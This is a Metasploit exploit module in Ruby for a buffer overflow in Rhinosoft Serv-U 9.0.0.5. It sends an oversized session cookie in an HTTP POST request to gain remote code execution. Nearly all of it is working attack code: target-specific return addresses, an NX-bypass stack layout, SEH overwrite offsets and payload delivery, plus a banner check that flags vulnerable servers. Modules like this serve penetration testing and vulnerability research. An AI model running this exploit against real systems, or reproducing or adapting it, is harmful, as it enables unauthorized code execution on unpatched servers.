##
# $Id: servu_session_cookie.rb 8762 2010-03-10 05:58:01Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Rhinosoft Serv-U Session Cookie Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5.
Sending a specially crafted POST request with an overly long session cookie
string, an attacker may be able to execute arbitrary code.
},
'Author' =>
[
'Nikolas Rangos <nikolaos[at]rangos.de>',
'M.Yanagishita <megumi1990[at]gmail.com>',
'jduck'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 8762 $',
'References' =>
[
[ 'CVE', '2009-4006' ], # unsure
[ 'OSVDB', '59772' ],
[ 'URL', 'http://rangos.de/ServU-ADV.txt' ],
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
'StackAdjustment' => -4096,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2003 SP2 English (NX)',
{
'FixESP' => 0x0fb02849, # add esp, 0x40c / ret @libeay32
'FixESI' => 0x78a31e96, # pop esi / ret @mfc90u.dll
'FixEBP' => 0x78a4ae99, # push esp / pop ebp / ret 0xc @mfc90u.dll
'Ret' => 0x78a3e987, # ret 0x20 @mfc90u.dll
'DisableNX' => 0x7c83f547, # NX Disable @ntdll.dll
'JmpESP' => 0x78b2c753 # jmp esp @mfc90u.dll
}
],
[ 'Windows 2000 SP4 and XP SP3 English (SEH)',
{
'Ret' => 0x0fb870bd # pop pop ret @libeay32.dll
}
],
],
'DefaultTarget' => 1,
'DisclosureDate' => 'Nov 1 2009'))
register_options( [ Opt::RPORT(80) ], self.class )
end
def check
connect
sock.put("\r\n\r\n") # works
res = sock.get(-1,3)
disconnect
if (res =~ /Server: Serv-U\/9\.0\.0\.5/)
return Exploit::CheckCode::Vulnerable
elsif (res =~ /Server: Serv-U/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
# hit end of stack..
sploit = Rex::Text.rand_text(1000) * 75
if (target.name =~ /NX/)
# new SEH handler (point esp into buffer)
sploit[41000,4] = [target['FixESP']].pack('V')
# stack frame to bypass NX
sploit[52+0,4] = [target['FixESI']].pack('V')
sploit[52+4,4] = [0x10200].pack('V')
sploit[52+8,4] = [target['FixEBP']].pack('V')
sploit[52+12,4] = [target['Ret']].pack('V')
sploit[52+16,4] = [target['JmpESP']].pack('V')
sploit[52+20,4] = [target['DisableNX']].pack('V')
sploit[52+24,2] = "\xeb\x20"
sploit[52+40,payload.encoded.length] = payload.encoded
else
seh = generate_seh_record(target.ret)
sploit[40996,seh.length] = seh
sploit[41004,payload.encoded.length] = payload.encoded
end
req = "POST / HTTP/1.1\r\n"
req << "Host: #{rhost}:#{rport}\r\n"
req << "Cookie: Session=_"
req << sploit.unpack('H*')[0]
req << "\r\n"
req << "\r\n";
connect
print_status("Trying target #{target.name}..." % target['Ret'])
sock.put(req)
select(nil, nil, nil, 1.5)
handler
disconnect
end
end